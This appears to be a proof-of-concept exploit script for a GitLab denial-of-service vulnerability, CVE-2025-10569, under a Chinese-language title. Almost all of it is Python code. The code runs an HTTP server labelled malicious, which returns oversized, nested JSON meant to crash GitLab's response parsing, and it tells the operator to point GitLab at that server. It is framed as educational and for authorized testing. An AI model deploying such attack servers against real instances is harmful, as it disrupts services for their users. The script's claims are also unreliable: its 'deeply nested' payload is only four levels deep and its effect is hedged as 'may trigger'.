GitLab CE/EE CVE-2025-10569 拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-10569 PoC - GitLab DoS via crafted API responses Note: This is for educational and authorized testing purposes only. """ import http.server import socketserver import json import sys class MaliciousAPIHandler(http.server.BaseHTTPRequestHandler): """ Malicious server that sends crafted responses to trigger DoS in GitLab. This PoC simulates an attacker-controlled external API endpoint. """ def do_GET(self): # Send response with crafted data that may trigger DoS self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() # Crafted response with deeply nested structures # This can cause issues in GitLab's response parsing malicious_payload = { "status": "success", "data": "A" * 100000, # Large data field "nested": { "level1": { "level2": { "level3": { "data": "x" * 50000 } } } } } self.wfile.write(json.dumps(malicious_payload).encode()) def log_message(self, format, *args): print(f"[Malicious Server] {args[0]}") def start_malicious_server(port=8080): """Start the malicious API server""" with socketserver.TCPServer(("", port), MaliciousAPIHandler) as httpd: print(f"[*] Malicious API server running on port {port}") print(f"[*] Configure GitLab to use this endpoint for external API calls") httpd.serve_forever() if __name__ == "__main__": port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080 start_malicious_server(port)